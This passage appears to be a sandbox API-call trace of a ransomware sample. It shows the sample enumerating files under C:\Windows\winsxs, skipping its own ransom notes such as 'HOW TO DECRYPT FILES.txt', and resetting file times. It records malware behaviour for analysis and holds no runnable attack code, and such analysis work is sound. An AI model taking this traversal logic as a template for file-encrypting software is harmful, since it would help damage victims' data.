hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.691] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="managePermissions.aspx") returned -1 [0165.691] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="managePermissions.aspx") returned -1 [0165.691] lstrcmpiA (lpString1="", lpString2="managePermissions.aspx") returned -1 [0165.691] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\createPermission.aspx") returned="createPermission.aspx" [0165.691] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\" [0165.691] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_permissions_b03f5f7f11d50a3a_6.1.7600.16385_none_21be611582619ce3\\") returned="" [0165.691] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.691] CloseHandle (hObject=0xffffffff) returned 0 [0165.692] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f99429, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0f99429, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x912db881, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5463, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 0 [0165.692] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.692] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113039b6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11329b10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11329b10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e", cAlternateFileName="AM4155~1.163")) returned 1 [0165.693] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e") returned -1 [0165.693] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e") returned -1 [0165.693] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.693] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113039b6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11329b10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11329b10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.695] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.695] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113039b6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11329b10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11329b10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.695] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.695] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.695] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0edad58, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0edad58, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91243309, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x8f4, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="createPermission.aspx.resx", cAlternateFileName="CREATE~1.RES")) returned 1 [0165.695] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.695] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="createPermission.aspx.resx") returned 1 [0165.695] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="createPermission.aspx.resx") returned 1 [0165.695] lstrcmpiA (lpString1="", lpString2="createPermission.aspx.resx") returned -1 [0165.695] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\*.*") returned="*.*" [0165.695] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\" [0165.695] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\") returned="" [0165.696] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.696] CloseHandle (hObject=0xffffffff) returned 0 [0165.696] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f4d16f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0f4d16f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91269467, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0165.696] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="managePermissions.aspx.resx") returned -1 [0165.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="managePermissions.aspx.resx") returned -1 [0165.696] lstrcmpiA (lpString1="", lpString2="managePermissions.aspx.resx") returned -1 [0165.696] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\createPermission.aspx.resx") returned="createPermission.aspx.resx" [0165.696] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\" [0165.696] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_perm_res_b03f5f7f11d50a3a_6.1.7600.16385_none_d966c4065f6c437e\\") returned="" [0165.696] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.697] CloseHandle (hObject=0xffffffff) returned 0 [0165.697] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f4d16f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0f4d16f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91269467, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 0 [0165.697] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.698] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1134fc6a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539", cAlternateFileName="AMAEBC~1.163")) returned 1 [0165.698] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539") returned -1 [0165.698] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539") returned -1 [0165.698] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.698] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1134fc6a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.700] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.700] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1134fc6a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.700] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.700] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.700] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d5dfb6, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0d5dfb6, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90fe1d29, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="chooseProviderManagement.aspx", cAlternateFileName="CHOOSE~1.ASP")) returned 1 [0165.700] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.700] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chooseProviderManagement.aspx") returned 1 [0165.701] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chooseProviderManagement.aspx") returned 1 [0165.701] lstrcmpiA (lpString1="", lpString2="chooseProviderManagement.aspx") returned -1 [0165.701] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\*.*") returned="*.*" [0165.701] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" [0165.701] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\") returned="" [0165.701] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.701] CloseHandle (hObject=0xffffffff) returned 0 [0165.701] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0daa270, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0daa270, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9102dfe5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3133, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManageConsolidatedProviders.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0165.701] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.701] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ManageConsolidatedProviders.aspx") returned -1 [0165.701] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ManageConsolidatedProviders.aspx") returned -1 [0165.701] lstrcmpiA (lpString1="", lpString2="ManageConsolidatedProviders.aspx") returned -1 [0165.702] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\chooseProviderManagement.aspx") returned="chooseProviderManagement.aspx" [0165.702] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" [0165.702] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\") returned="" [0165.702] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.702] CloseHandle (hObject=0xffffffff) returned 0 [0165.702] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0dd03cd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0dd03cd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9102dfe5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x25f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManageProviders.aspx", cAlternateFileName="MANAGE~2.ASP")) returned 1 [0165.702] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ManageProviders.aspx") returned -1 [0165.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ManageProviders.aspx") returned -1 [0165.702] lstrcmpiA (lpString1="", lpString2="ManageProviders.aspx") returned -1 [0165.703] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\ManageConsolidatedProviders.aspx") returned="ManageConsolidatedProviders.aspx" [0165.703] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" [0165.703] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\") returned="" [0165.703] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.703] CloseHandle (hObject=0xffffffff) returned 0 [0165.703] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e1c687, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0e1c687, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91054143, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2381, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProviderList.ascx", cAlternateFileName="PROVID~1.ASC")) returned 1 [0165.703] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProviderList.ascx") returned -1 [0165.704] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProviderList.ascx") returned -1 [0165.704] lstrcmpiA (lpString1="", lpString2="ProviderList.ascx") returned -1 [0165.704] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\ManageProviders.aspx") returned="ManageProviders.aspx" [0165.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" [0165.704] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_providers_b03f5f7f11d50a3a_6.1.7600.16385_none_ffd9db4d7f4ad539\\") returned="" [0165.704] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.704] CloseHandle (hObject=0xffffffff) returned 0 [0165.705] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e1c687, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0e1c687, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91054143, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2381, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProviderList.ascx", cAlternateFileName="PROVID~1.ASC")) returned 0 [0165.705] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.725] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11329b10, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607", cAlternateFileName="AM0FF3~1.163")) returned 1 [0165.725] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607") returned -1 [0165.725] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607") returned -1 [0165.725] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.726] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11329b10, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.728] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.728] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11329b10, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.728] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.728] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.728] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bbb0b7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0bbb0b7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90f6f90f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x617, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="chooseProviderManagement.aspx.resx", cAlternateFileName="CHOOSE~1.RES")) returned 1 [0165.728] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.728] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chooseProviderManagement.aspx.resx") returned 1 [0165.728] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chooseProviderManagement.aspx.resx") returned 1 [0165.728] lstrcmpiA (lpString1="", lpString2="chooseProviderManagement.aspx.resx") returned -1 [0165.728] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\*.*") returned="*.*" [0165.728] lstrcpyA (in: lpString1=0x407019, 